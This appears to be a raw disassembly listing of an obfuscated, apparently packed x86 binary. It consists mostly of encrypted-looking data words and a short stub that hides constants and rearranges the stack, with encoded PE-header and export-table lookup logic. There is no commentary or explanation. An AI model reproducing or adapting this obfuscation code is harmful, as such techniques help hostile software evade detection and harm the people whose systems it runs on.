		dd 0DA000000h, 69D55FEDh, 0F246955Dh, 0F1C7DA1Bh, 83615B54h
		dd 850F0DFBh, 56h, 0AE9h, 0BFD47900h, 7CA0AC1Ch, 8D372C1Ah
		dd 508F16BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 95080E85h, 11DE9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0FB83F8E7h, 77850F01h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 1305C357h
		dd 0CE90740h, 14000000h, 0DEC14248h, 271E80E3h,	0FC59D633h
		dd 8F1EBD8Dh, 6A0650h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0B1B89C3h, 0D95D05ABh, 98E9F9h
		dd 830F0000h, 12h, 7E960h, 65BD0000h, 1DFD5BD4h, 6BE6668h
		dd 0FB836103h, 5A850F2Ah, 0E9000000h, 8, 81BB870h, 2FF44518h
		dd 8F26BD8Dh, 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 7A19E9C3h, 4E4659C2h, 0E9878A62h
		dd 3Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 0AAC35646h, 27FB830Ch, 2F9850Fh, 8C0F0000h, 1, 2EBD8DF9h
		dd 0F06508Fh, 18Eh, 0BD89F500h,	6508F3Eh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 3BC35242h, 18C0Fh
		dd 66F50000h, 6660C88Ch, 0D197E081h, 2461F4B1h,	56006A03h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 821523Eh, 0A800FAEh,	60000000h, 0BB26C881h, 5F514527h
		dd 0FC00A61h, 1F685h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 64B79848h, 0FE4ADB9h
		dd 0E84h, 9E900h, 3F550000h, 679FC019h,	60E63183h, 8EABF181h
		dd 5E964F5h, 0C5000000h, 40045D3Eh, 0D4B58D61h,	60065095h
		dd 4710F381h, 0EA815E25h, 2EFFCAE7h, 63858B61h,	6A065096h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0CEB1C355h, 0E64FB2CAh, 12E9D6h, 429A0000h
		dd 0A208756Bh, 0D4B2211Ch, 4CAB04FEh, 913F1D6Ah, 15850F92h
		dd 0E9000000h, 10h, 9D2798D8h, 557CD12Bh, 9D96D87h, 251C06ECh
		dd 8B606050h, 616160CEh, 0D1C6B960h, 0BB667F09h, 61617224h
		dd 52006A92h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F2EA93Dh, 0FE244C01h, 0D78B6660h, 6A5A61h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 93513AC3h, 6BF77622h, 0EE9F8C8h, 34000000h, 0F84D68E9h
		dd 7D66C229h, 7E8878A8h, 24C28382h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 5C35545h, 73223E50h, 0D1B70F60h
		dd 24B0E681h, 66612FB2h, 6AFC7289h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8266C353h
		dd 0DC4D84A6h, 2700CBECh, 10CEC1F5h, 5E9h, 92670800h, 89668A97h
		dd 6A0272h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 2EA1DEC3h, 0F8C56EFFh, 0F6004CDh,	481h, 9DBE6600h
		dd 61F48AF0h, 0A3E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 4AED4794h, 0CB8A6041h
		dd 0B4F5CA81h, 8B61092Fh, 50966385h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B58D023Ch
		dd 65095D4h, 0FE9h, 369E6300h, 0B4E8F1D3h, 0FFC32629h
		dd 0EEC172EDh, 494D858Dh, 6A0650h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 881676C3h, 2F9C2F5Ch
		dd 0B70F605Ch, 61D1B0D2h, 5260D0FFh, 66585B51h,	61BADDB9h
		dd 8F368589h, 61F50650h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 66C35040h, 0E409C1E7h, 0C1816660h, 0E68A0122h
		dd 36858B61h, 0E906508Fh, 10h, 0B00618B3h, 0D980D4ACh
		dd 8E0C88E6h, 322D39E7h, 6A60F8C3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E9E6C350h
		dd 14h,	4B9B533Fh, 0A21FEC90h, 0DB95D0D9h, 7782F18Dh, 48896B86h
		dd 9663BD83h, 0F000650h, 2B85h,	85C7FC00h, 6509663h, 1013Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D2C35747h
		dd 0FB99A681h, 1AE9h, 0CE900h, 996D0000h, 0F5589730h, 5D86E28h
		dd 0F605BACh, 0B866F9BFh, 0CD615205h, 20h, 74C00B00h, 0C708D37h
		dd 8F3EBD8Bh, 8B90650h,	0A6000000h, 75492275h, 30488BFAh
		dd 8F3A9D8Bh, 583B0650h, 8B157F34h, 4D26BD3h, 18BCA03h
		dd 8F368589h, 4EB0650h,	0C5EB008Bh, 36858B61h, 0CF06508Fh
		dd 0D1BF0F60h, 0E961DCB1h, 7, 18EBE9C9h, 0E9CF33CEh, 0Ah
		dd 0A455C344h, 3DB07DBEh, 0C08B3569h, 83E9h, 52515300h
		dd 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch
		dd 45503B81h, 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch
		dd 1C247403h, 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h
		dd 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h,	84028A04h
		dd 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h
		dd 48B0F04h
		dd 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h, 0FFFFFFF1h
		dd 7E8CA8Bh, 0FF000000h, 83711E42h, 0E781A3DBh,	1A93E374h
		dd 98D0F5Eh, 0F000000h,	387h, 0FA8B6600h, 699DC681h, 6BBB0000h
		dd 2B384BEFh, 5E860C0h,	0CC000000h, 94B12EBBh, 5E8h, 0E8EEDA00h
		dd 5B5A00ABh, 0FA3BD981h, 0FF615F62h, 0BF0F3034h, 0D9805ACEh
		dd 0AFF28157h, 664A0CB8h, 81B032BFh, 8AED0BF2h,	8B665049h
		dd 0C2815BCEh, 6675354Fh, 89D88B66h, 66500614h,	5F0600BBh
		dd 83FABF0Fh, 0F88104E8h, 0FFFF971Ch, 17850Fh, 81660000h
		dd 0E957D4F1h, 28h, 11AFF02Eh, 47A61725h, 8E428F5Fh, 44D981BDh
		dd 0E97A7550h, 0FFFFFF9Bh, 478D294Dh, 71A6698Ch, 284E6C3Bh
		dd 0B84F44C1h, 148E9h, 5000h, 5400h, 5800h, 5C00h, 6000h
		dd 6400h, 6800h, 6C00h,	0B000h,	0B400h,	0B800h,	0BC00h
		dd 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h
		dd 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 38h dup(0)
		dd 57876900h, 0A050EB00h, 1F858D00h, 31065098h,	4D267195h
		dd 6820F06h, 89000000h,	4D15E9BDh, 5F858906h, 0C6065099h
		dd 4D26E585h, 0E8B65406h, 68582268h, 565250E2h,	0E8310F5Bh
		dd 13h,	0CF3280A7h, 0FB95F014h,	2A0D75DEh, 94B5C47Dh, 8BB2E370h
		dd 585A5AD1h, 7240481h,	8B0BFA10h, 4D268DB5h, 29B5FF06h
		dd 0F064D0Bh, 688h, 6D950B00h, 8D064D26h, 5075D785h, 68B0F06h
		dd 8B000000h, 4D241DBDh, 0FD0FF06h, 586h, 0E9816600h, 85890E17h
		dd 6509963h, 10D18D8Bh,	48E9064Dh, 0F000000h, 881h, 95896000h
		dd 64D0331h, 0B58B5661h, 650995Fh, 85830689h, 650995Fh
		dd 60C35E04h, 981FB58Dh, 0FEB0650h, 0FF006A56h,	6395FF36h
		dd 5E065099h, 8304C683h, 0EC75003Eh, 8AB6C361h,	0B1BD89F5h
		dd 8D064D06h, 509A2585h, 0C5858906h, 0E9064D06h, 0E5h
		dd 0FFEE4D10h, 1F3271DCh, 7A0E0A1Dh, 33538FDDh,	7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
		dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h
		dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh
		dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h
		dd 28602060h, 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h
		dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h,	0F7202060h
		dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h
		dd 0F2FD54A7h, 6F795C43h, 0CB8E912h, 0F7680000h, 0E906509Dh
		dd 0FFFCE471h, 509F2468h, 0E467E906h, 0F768FFFCh, 0E906509Fh
		dd 0FFFCE45Dh, 50A0BC68h, 0E453E906h, 1C68FFFCh, 0E90650A1h
		dd 0FFFCE449h, 50A1A668h, 0E43FE906h, 1568FFFCh, 0E90650A3h
		dd 0FFFCE435h, 50A40468h, 0E42BE906h, 0BF68FFFCh, 0E90650A4h
		dd 0FFFCE421h, 50A55A68h, 0E417E906h, 5368FFFCh, 0E90650A6h
		dd 0FFFCE40Dh, 0B3BF652Bh, 566208D3h, 0FA06AC76h, 9BA74D1Ah
		dd 404CF2BBh, 1CE5AA3Eh, 0C38A6A76h, 6531111Dh,	0BD3B3BFh
		dd 0F5C25965h, 0FE85BAC6h, 2C6C77D4h, 4D1AAD75h, 7E4BF1BAh
		dd 6E3BA40Dh, 0D6A34910h, 8F72F260h, 0B81521C7h, 0DB0A4F1Dh
		dd 0D1383FE8h, 5EABF059h, 201512Fh, 2877E0D5h, 8AB90653h
		dd 0D50201F6h, 7542E8B0h, 81D03904h, 0A9B55B23h, 8E5B01C9h
		dd 202145Fh, 0DA8AF0D5h, 74B95F27h, 0C0316338h,	0FC4B8DA3h
		dd 0AD4008E8h, 1723FE5h, 0A56DCB98h, 8D432FFh, 6D379562h
		dd 0F7E3FAC7h, 589F874Dh, 1EA4DC0Bh, 0E413D502h, 0D5021E9Ch
		dd 0F8612C95h, 0E4073DA9h, 826A761Ch, 0B65B40E0h, 55B17h
		dd 5483D000h, 0D5022B2Ch, 2B245C8Bh, 0A40DD502h, 592170D9h
		dd 760A3986h, 0BBDB4F20h, 0DDA50352h, 440C6A37h, 0F0CF6FD3h
		dd 0EE5756B7h, 515085E2h, 0DE112D12h, 384A65FDh, 4FFA90C4h
		dd 8C32FA50h, 6291DE23h, 0DB4EC31Eh, 0AF76AA13h, 0C1D3908Eh
		dd 507FCC1Bh, 0D137767Bh, 1E6291D6h, 13D5013Fh,	457441AAh
		dd 0D5013E2Fh, 8F61E351h, 72C16731h, 5BDC7A0Ch,	6AA1B6h
		dd 0F8DF0000h, 1B4A8FDDh, 0D1382068h, 74A370D9h, 0D5022100h
		dd 0E35ECF96h, 11F57C74h, 81DFAC15h, 0F64310B6h, 1AAB9C7h
		dd 0F78D5h, 2E9A5014h, 0EB481DFh, 0FF1153BFh, 0AAFD83B2h
		dd 0CB34D501h, 38D82797h, 46955E75h, 5B1046E0h,	74390B6h
		dd 328A6D99h, 0ABD5FC39h, 0CD501B1h, 1B1A3DDh, 5A258ED5h
		dd 0E73AA2F1h, 78000000h, 3A07AD75h, 0B68013DCh, 69D24310h
		dd 59FFC624h, 0F7CC1B8Ch, 5E2BD199h, 86923800h,	4F248ED5h
		dd 7A20E8DBh, 23639F6Eh, 9BA55C92h, 10D83685h, 0FDC7256Ah
		dd 1B37288Ch, 93FC170Eh, 7CCB713Dh, 6309CCA7h, 0D000EF1Eh
		dd 3997D137h, 6E14DF72h, 78C73805h, 61303CA5h, 839BE514h
		dd 2D96D501h, 9AD203DEh, 3A692655h, 216ECAF2h, 2E55FBC3h
		dd 0CEB1CC52h, 542776DFh, 7F48A6EBh, 24EDCDD9h,	5522C891h
		dd 0F36EB0E4h, 0E47D4AB1h, 0D5B6637Bh, 4D22987Ch, 9602Fh
		dd 0A66C00h, 0A34914F4h, 47EDB797h, 0E88E5B3Bh,	8D33FCDCh
		dd 28697F81h, 0CDADB95Fh, 74546006h, 16F602A8h,	59CA84Eh
		dd 83770938h, 0AFBAD4FEh, 6AC756Fh, 0CBEF2BFAh,	3A97281h
		dd 9591C536h, 1BC1889Dh, 3D0563B2h, 0D33CE2AAh,	0DDF87DC7h
		dd 6734DAA2h, 2DD3A0F6h, 4186EF60h, 0A9761CE3h,	6D9CE938h
		dd 0D1382116h, 1F7DC22Bh, 8B60AF55h, 7117E03Eh,	14DD33A4h
		dd 0E130A16Eh, 220C2B2h, 8608D4D5h, 2212957h, 369F08D5h
		dd 9B410B69h, 99CBB7CEh, 0CB79E753h, 5B427610h,	0CDA5B6h
		dd 115E0000h, 22C9EE2h,	733D93D5h, 268F00CDh, 0AD750FD7h
		dd 13DC3A07h, 400DB380h, 6A9966CFh, 0DB4F24F9h,	6E12418Eh
		dd 0C3DB4F1Ch, 0E5AD0B5Ah, 664333Fh, 5ACB983Eh,	31B0F226h
		dd 0CF1EC50Ch, 0BE03A971h, 39049760h, 0EC5D2A93h, 0DA29CF96h
		dd 0C1AB2A05h, 7DA24D7Ch, 66FD137h, 0F59B63C1h,	31FF81B0h
		dd 0C932D501h, 0CC09667Ah, 542C5BA0h, 0DDCAF1E5h, 8D12F74h
		dd 0AD765662h, 0DBA84E1Ah, 36E9016Ah, 9E987C5Fh, 833ABC9h
		dd 0D3990000h, 7641212Dh, 1AE4C4D0h, 0BB886874h, 60290915h
		dd 4ACAEBAh, 0D8E48A53h, 7F8B31F8h, 212DD39Fh, 0C7D37941h
		dd 4C346330h, 0E5D4FE81h, 0AC759ADAh, 521AFA06h, 20DFA1D0h
		dd 0E952DB4Fh, 752A7480h, 0ED3A07ADh, 210F71A0h, 0B922DB4Fh
		dd 9E440C6Ah, 789E1D59h, 3E7F0CC5h, 4578DBEFh, 19BF86E4h
		dd 0BBE6EFCAh, 0D0D68C6Dh, 0DC824D22h, 0CC359E0Fh, 0DB075887h
		dd 81EAD137h, 31A1039h,	0F6DFD367h, 19023176h, 0D8CC2226h
		dd 0EC7A26Fh, 0E3EA195Eh, 6EC5D984h, 9862C005h,	65B425F2h
		dd 0A26DCB18h, 874FADFCh, 35DBA705h, 0B0D0F768h, 81C99B98h
		dd 0C6AAF18h, 5DCE9B41h, 9897E918h, 319AC99Bh, 26EECEE2h
		dd 74AF6880h, 3E138552h, 76020h, 0A66C00h, 0A34914F4h
		dd 47EDB797h, 0E88E5B3Bh, 8D33FCDCh, 28697F81h,	0CDADB95Fh
		dd 74546006h, 16F602A8h, 59CA84Eh, 81770938h, 0AFBAD4FEh
		dd 1AAD756Fh, 713EA74Dh, 0E82D3F96h, 0CE743D9Bh, 4AE7507Fh
		dd 63AD138h, 634485DBh,	3642ABAFh, 2B70FCD9h, 0EEC631FCh
		dd 3B0866CAh, 0A734695h, 0F99F67C5h, 0E68C56B4h, 3463A819h
		dd 0CEB08E4Ch, 192D7CE5h, 0FECB7139h, 75BAB223h, 9E299046h
		dd 0A3E851C4h, 0A6DA0956h, 8BC85FF3h, 0AD75D322h, 531BFB07h
		dd 0D005E0ADh, 0F3EF91C0h, 0D942C85Fh, 91DE2B70h, 5FF41E62h
		dd 80DF13C8h, 0B748A3BBh, 0DF0E5DC6h, 0BE486DA8h, 75183099h
		dd 0B98DDD07h, 69BC6E4h, 6B310000h, 0ED9B9C5h, 0B27C5C68h
		dd 5320000Ch, 0F8C1A1ADh, 0AC444652h, 707C22EBh, 1723C990h
		dd 0B9C56B37h, 5F6B11D9h, 0B4CCFBC8h, 7DD4FE80h, 0DDF83272h
		dd 0C31B4A8Fh, 2ED13CBBh, 5A2280C5h, 0C8A8B4h, 23B28D5Ah
		dd 0DBA60449h, 6A99E635h, 0CAE7B0CDh, 4ED3EB54h, 6A987C38h
		dd 63B7795h, 0CB910000h, 6E391925h, 12DCBCC8h, 0B380606Ch
		dd 5821010Dh, 0CA4A6B2h, 0D0DC824Bh, 778329F0h,	1925CB97h
		dd 0BFCB7139h, 542C5B28h, 0DDD4FE7Fh, 0DDF892D2h, 121B4A8Fh
		dd 0FFD13CBDh, 2BF35196h, 0D1997985h
		dd 0A954134Fh, 0ED6861EFh, 0FEF8BAC6h, 0A50E77D4h, 0A7D8FDD8h
		dd 0F66734DAh, 20EA488Dh, 0ED3CAD7Ah, 946571A0h, 137CCAECh
		dd 2A870CEh, 0A84E16F6h, 97D500DBh, 82642352h, 74DDC497h
		dd 0C1ADD5Ch, 0F614E986h, 5B1h,	0A3AF551Bh, 4652F8C3h
		dd 0EAF69C66h, 8B973D0Ah, 303CE2ABh, 0CD5BA2Eh,	0B37A5A66h
		dd 5521010Dh, 0FBC3A3AFh, 0E5B24955h, 0FE7FCAB6h, 1C5C67D4h
		dd 36B74A86h, 0A696A8A8h, 9E31F957h, 80C52ED4h,	61B05622h
		dd 0C0662E8Ch, 0DADB3F7Bh, 0E8F37B44h, 0E3176A17h, 72C1244Dh
		dd 98D4015Eh, 0DAA72453h, 41AAD137h, 0A22F4574h, 0E351D501h
		dd 40EC7661h, 720BB65Bh, 49000000h, 0BA602886h,	0E9487CEDh
		dd 0C16D564Fh, 3E9772C1h, 3E9CE92Eh, 9304D177h,	316E1544h
		dd 7DD3D137h, 5FA40DB3h, 0C7943A01h, 91FAA069h,	363E6D42h
		dd 60D50131h, 8F350295h, 1BE851C2h, 824FF5BDh, 0E7B45A24h
		dd 34309676h, 60E452BEh, 61B5528Eh, 6C39DFACh, 4106C7FBh
		dd 0F78FF544h, 24B65B07h, 0D5h,	9539A1DDh, 0BC2732E6h
		dd 0A7F69C66h, 7AD75DFh, 0C88FED3Ah, 0D0195522h, 86F16FE6h
		dd 0E74594FDh, 4DAB781Eh, 0B412DF85h, 0E78D59ECh, 14DB397Eh
		dd 5A0B1F6Eh, 0DB4F0609h, 0F3FFA56Dh, 0D8A54B13h, 89B8D8FDh
		dd 0DB4EFEF7h, 957E063Ah, 42C3C8E5h, 0FC2B70D9h, 0D13766A3h
		dd 7CD9E54Eh, 9FCE1359h, 0CAF1BB59h, 8026F04Eh,	0CEFD42B3h
		dd 0CEB14BB2h, 0F4C7167Fh, 0ACF9468Bh, 0B14C037Dh, 76C52ECEh
		dd 9DA94F18h, 364EF4BDh, 987C2935h, 42C6E4B9h, 8A000004h
		dd 32121EC4h, 0D5B5C167h, 7959650Bh, 1AFA06ACh,	9D9FAB51h
		dd 0D77D460Bh, 7E24EBCBh, 20C69272h, 0C66C3414h, 275623BAh
		dd 0D4FE7D59h, 758DCDD8h, 1AFA06ACh, 0D1A0AC52h, 0BEA3A195h
		dd 58A75283h, 834A8690h, 22A4FCFEh, 4C6C164Ah, 899E2F3h
		dd 75F7DEB9h, 0C820130h, 56BFD138h, 0D1A5A89h, 0F866D502h
		dd 56F1914Ch, 0B826B65Bh, 64000000h, 760A3986h,	0BBDB4F20h
		dd 0DDA50352h, 430C6A37h, 30FA589Dh, 37663B8Ah,	0DB4F242Ch
		dd 0A336FD5Bh, 0FBC831D7h, 15DD3B8Ah, 0BB83636Fh, 0E9B65C28h
		dd 6CCA0F78h, 0D7ACFBA1h, 4E93D9FCh, 384E801Fh,	0FC0871D1h
		dd 0F136369Fh, 1645C793h, 0D501EA6Ah, 0A6F55EC7h, 9FED2A59h
		dd 8BF4CAF2h, 791FE846h, 640AD634h, 0C3D72697h,	23C996F4h
		dd 3896E556h, 82B1C96Fh, 2A987D16h, 3533755h, 0B3790000h
		dd 5621010Dh, 0FAC4A4B0h, 9B684854h, 4009E9F5h,	648C8E9Ah
		dd 0B8C46A33h, 5F6B11D8h, 10DB37Fh, 0A7B35921h,	6C144310h
		dd 0C5D4FE7Ch, 0AC757ABAh, 521AFA06h, 7556A0ACh, 64C207ADh
		dd 0D1A6F59Bh, 0F905AB73h, 5F766596h, 3F7BC80Dh, 0FF986DA7h
		dd 71A0EF0Ch, 0D137C6EEh, 0BC622B89h, 5C2F7EEFh, 1A82ABF3h
		dd 0CFB0B3F0h, 0C3216606h, 188956FCh, 8E4D7CC9h, 6326B52Eh
		dd 83522DFAh, 5875A4E9h, 7F206C4Dh, 617D0332h, 4BB4242Eh
		dd 7BC029FCh, 0DDAA501Dh, 72D01D6Ch, 29F804AAh,	7A46C5EDh
		dd 75C4772Ah, 0F2BC4F17h, 89F2985Fh, 0CB4B0820h, 0A27723C1h
		dd 29884h, 0C86E3400h, 6B11DCBCh, 0FB57F5Fh, 0B0562303h
		dd 55FBC4A4h, 0F0A14749h, 95758127h, 3C1C28CEh,	0DEBECA70h
		dd 0CD647016h, 7CAFD100h, 7782D4FEh, 7AD7537h, 0F6765F3Ah
		dd 51B982B1h, 0F78D138h, 0BD63403h, 0FE351665h,	71B6B61Fh
		dd 0EB181D42h, 266BD4CAh, 0CAD6AAD9h, 0F25BCEB4h, 4E2A53A3h
		dd 0CB936439h, 0EE1D620Ah, 80F682Dh, 0B8165BC4h, 407C49EFh
		dd 245A7BE5h, 4E9D06F6h, 35379E79h, 70CC1F0h, 0DC4501C7h
		dd 0CB713997h, 7117DFBFh, 27FAF659h, 0CBE9BE41h, 1FDh
		dd 576309CFh, 0FA06AC77h, 9EAA501Ah, 3F4BF1BEh,	0E4F0965Fh
		dd 0C089CEE2h, 672E0E1Ah, 9D5B5C1h, 0AF775763h,	9966FD09h
		dd 0FE7C166Ah, 0D0101BD4h, 0C207AD75h, 9D81A686h, 8B5784CAh
		dd 582D7CE5h, 0CF14587Dh, 382C47A0h, 4551BAD1h,	0ACBA8E2h
		dd 71EE1D62h, 80CAEB2Bh, 2A88CF17h, 0F087BB61h,	0AF6D7355h
		dd 0DD033281h, 9A75A734h, 77CD733Ch, 0E0BB0AB0h, 33277F5h
		dd 0BAA6718h, 0DE2B70D9h, 744FD1AFh, 0A8F7600Fh, 8FDDF8D3h
		dd 0B2CEFD4Ah, 7F0F744Fh, 4F750B3Ah, 53BC0F74h,	74C0B6EAh
		dd 94F6969Fh, 4C9F845h,	0D30561E7h, 0AA714A86h,	3D87B1F2h
		dd 241A6A16h, 0F5EC709h, 8A1DE63Ch, 6AAF18BEh, 241A453Bh
		dd 1A83EC09h, 275988D5h, 7F09241Bh, 0D8410CB2h,	0C413B982h
		dd 0AB511977h, 3A94D09Fh, 0E3684520h, 2DF553A2h, 3E266F87h
		dd 0F5CA46CAh, 104D7h, 5C02C800h, 0FFA57050h, 0A34913F3h
		dd 44EAB797h, 0E98F5838h, 84D5DBDDh, 290915BBh,	0D0B0BC62h
		dd 72525E04h, 61F804AAh, 7B1B6594h, 0B16D4FEh, 0DB3986CBh
		dd 3E42690Fh, 68DB4F20h, 0B829F69Ch, 0D73584EDh, 47EE9E0Fh
		dd 0E32B5584h, 9D06DB4Eh, 99D79169h, 4D886330h,	408DDA1Fh
		dd 4C27D704h, 0DD04A646h, 0DB4E36A3h, 0C4913703h, 0D01F8853h
		dd 374EBEA1h, 0BECA33D1h, 452D7461h, 714FFAEBh,	54750F30h
		dd 0E952CCFCh, 0A4B2DFB5h, 0C83101B9h, 11E15483h, 68C6CAEEh
		dd 0BD2EFBA1h, 65329B6Eh, 8EBD3F07h, 0CEAFD9F2h, 616DD63Fh
		dd 0F48B981h, 10E51449h, 0E00FDC45h, 1A705CA3h,	34D78DFBh
		dd 0DABAC66Ch, 419F6C12h, 2B89CE74h, 7AEBB85Eh,	7035562Bh
		dd 9739CC34h, 0F241E8EDh, 632BDE86h, 75D03D0h, 5BCC993Fh
		dd 0CA17E6F2h, 6F5BE59Bh, 94E34CBAh, 83C86E36h,	67B65C25h
		dd 37492h, 542A0000h, 9AF758Ch,	7016DE3Ch, 0D37945A3h
		dd 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah, 0CE743E9Ch
		dd 32D8A301h
		db 65h,	0E8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 5B707E68h
		xor	ebx, 1A1A6F3Ah
		inc	ebx
		neg	ebx
		sub	ebx, 67D932C8h
		add	ebx, 0A943441Fh
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	4581h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	6509BB6h
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 57866E2Dh
		add	[esp+4], edi
		pop	edi
		pop	dword ptr [esi+8]
		sub	dword ptr [esi+8], 57866E2Dh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		dd 0DC1A8CC2h, 89407533h, 7CB8C847h, 30650A7h, 4AE0FFC5h
		dd 7E00D33Bh, 0EC52FCA9h, 0D28CE1Fh, 3B31F870h,	0D87C457Bh
		dd 48050CD2h, 26474389h, 0FC18A237h, 9340ED17h,	3F61E73Eh
		dd 770A302Dh, 9D1C24E1h, 0BB37FFA3h, 0F974244Bh, 6306BE73h
		dd 570E92E7h, 0E97EE1D5h, 75h, 0D88C6660h, 840F04A8h, 35h
		dd 0B5FF016Ah, 64D1431h, 75D7858Dh, 0D0FF0650h,	1FC18589h
		dd 0FE8B064Dh, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 64D1FC1h,	32E9h, 0E585C600h, 56064D26h, 0C530DF68h
		dd 29B5FFA9h, 8D064D0Bh, 5075D785h, 89D0FF06h, 4D2F6D85h
		dd 0E5858D06h, 50064D2Eh, 56A206Ah, 6D95FF56h, 61064D2Fh
		dd 6E0C1C3h, 9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah, 0D2D41CA4h
		dd 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h,	0E62AC7DDh
		dd 0DF1BCE17h, 0A6DB6734h, 46A2F200h, 0A3EA1A00h, 0D5h
		dd 0C9199C00h, 470000FEh, 0FBFEh, 0E6412800h, 727DD427h
		dd 0E1CE9C3h, 0E9600000h, 5, 0F7A73BE2h, 0BD836162h, 64D1281h
		dd 5C850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0E913C351h,	8B3C6F4Dh
		dd 4D148D8Dh, 0B302B906h, 0B815AAh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 7431C350h, 427F89A8h, 4C2F7B2h, 0E19D0100h, 8B064D1Ah
		dd 8D0150C0h, 64D0A61h,	0D9BD835Ah, 64D1Bh, 0BD830975h
		dd 64D0011h, 50137400h,	0B8C08B53h, 4D0h, 0B4E99D8Dh, 0D3FF064Fh
		dd 0BD83585Bh, 64D0011h, 50117400h, 4D0B853h, 9D8D0000h
		dd 64FB436h, 585BD3FFh,	26859D2Bh, 0BD01064Dh, 64D1F9Dh
		dd 8D8BC08Bh, 64D1AB1h,	0A90F858Dh, 6A0650h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 509F9DC3h
		dd 0CE8B6660h, 8961FE8Ah, 0EE92404h, 0FF000000h, 786B8773h
		dd 3E5D48F5h, 4F75B0A5h, 0CC858D63h, 600650A8h,	7299589h
		dd 61F5064Dh, 50525090h, 5ABA6652h, 0E9310F88h,	9, 0F6F5E6BCh
		dd 9E440AB6h, 0F585A51h, 0DCBF6631h, 50585A36h,	6A90E3B3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0C03BC351h, 28939761h, 0FFDABF0Fh, 4D240D95h
		dd 0B5895206h, 64D242Dh, 24448B5Ah, 0BE904h, 0BDC70000h
		dd 64C65EB8h, 0EA03719Eh, 0F78589D9h, 890650A8h, 4D31A9B5h
		dd 38A0F06h, 53000000h,	448B5AF9h, 6A0824h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0D84B63C3h
		dd 64DFD878h, 0FEFEA21h, 28Dh, 89F98B00h, 50A90B85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8A512465h, 0BD835AF3h, 64D269Dh, 0F850F00h, 89000001h
		dd 4D29B1B5h, 0C637B106h, 4D26E585h, 6A4706h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0B2C91DC3h
